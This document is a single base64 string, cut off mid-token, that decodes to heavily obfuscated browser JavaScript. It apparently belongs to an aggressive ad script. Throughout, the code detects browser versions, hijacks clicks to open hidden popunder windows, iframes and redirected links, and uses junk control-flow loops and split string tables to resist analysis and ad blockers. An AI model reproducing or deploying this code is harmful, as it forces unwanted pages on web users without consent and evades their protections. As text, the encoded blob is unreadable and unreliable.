O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19z